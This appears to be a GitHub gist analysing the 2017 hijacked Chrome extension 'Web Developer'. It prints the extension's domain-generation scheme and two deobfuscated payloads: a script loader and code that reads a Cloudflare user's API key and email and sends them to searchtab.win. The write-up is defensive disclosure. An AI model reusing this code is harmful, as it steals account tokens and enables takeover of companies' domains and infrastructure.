Skip to content

Instantly share code, notes, and snippets.

@audibleblink
Last active October 15, 2019 18:49
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save audibleblink/e46df1a125502a25cbdb53ad6106b16d to your computer and use it in GitHub Desktop.
Save audibleblink/e46df1a125502a25cbdb53ad6106b16d to your computer and use it in GitHub Desktop.
Compromised Web Developer Extension Steals Cloudflare Tokens

Compromised Web Developer Extension Steals Cloudflare Tokens

Upon receiving news that the popular Chrome Extension, Web Developer, had been compromised, I became curious about exactly how malicious the highjacking was. Most sites are reporting that it injects ads. It's more nefarious than that. Since the extension calls out to an attacker-controlled URL, the payload hosted at that URL could be changed to anything at any time.

At the time of inspection, the code checks to see if the victim is on the Cloudflare domain. If it is, it starts an XHR request to fetch the users' API token and ships it, along with the victim's email, to a remote server.

The Code

The extension generates a dynamic URL that changes daily. It uses an MD5 hash of the current date, using the d-m-yyyy format.

# tomorrow's url
https://wd + md5(4-8-2017) + .win/ga.js
https://wdfefe6195a8b014a1cc7d9cf2449d1b50.win/ga.js

This payload is fetched on every page that a victim navigates to. The payload is encoded and minified. Expanding it reveals the following portion.

if (top['location']['href']['indexOf']('cloudflare.com') > -1) {
  (function () {
    var _0xb2b9x1 = document['createElement']('script');
    _0xb2b9x1['type'] = 'text/javascript';
    _0xb2b9x1['src'] = '//searchtab.win/ga.js';
    var _0xb2b9x2 = document['getElementsByTagName']('script')[0];
    _0xb2b9x2['parentNode']['insertBefore'](_0xb2b9x1, _0xb2b9x2)
  })()
} else {...

The payload checks whether or not the current page is Cloudflare. If it is, it creates a new script tag on the page and sets its source to //searchtab.win/ga.js. If we look there, we get an additional payload.

var xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET', 'https://www.cloudflare.com/api/v4/user/api_key', true);
xmlhttp.setRequestHeader("x-atok", window.bootstrap.atok);
xmlhttp.onreadystatechange = function() {
  if (xmlhttp.readyState == 4) {
    if(xmlhttp.status == 200) {
      var obj = JSON.parse(xmlhttp.responseText);
      var key = obj.result.api_key;
      console.log(key);
      (new Image).src = '//searchtab.win/ga.php?user=' +
        encodeURIComponent(window.bootstrap.data.user.email) + '&key=' + encodeURIComponent(key);
    }
  }
};
xmlhttp.send(null);

This second payload GETs the logged in user's API key then sends it, and the user's email, along to the searchtab.win domain.

This was a clever targetted attack. Web Developers will sometimes have access to production accounts on their employer's infrastructure. Though more common in smaller companies that don't have dedicated DevOps and/or Security teams, it's not impossible for bigger companies to fall prey.

With a valid API token, attackers could control a company's public-facing infrastructture and create or modify sub/domains.

We've currently blocked all outgoing requests to the mailicous hosts.

  • @4lex
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment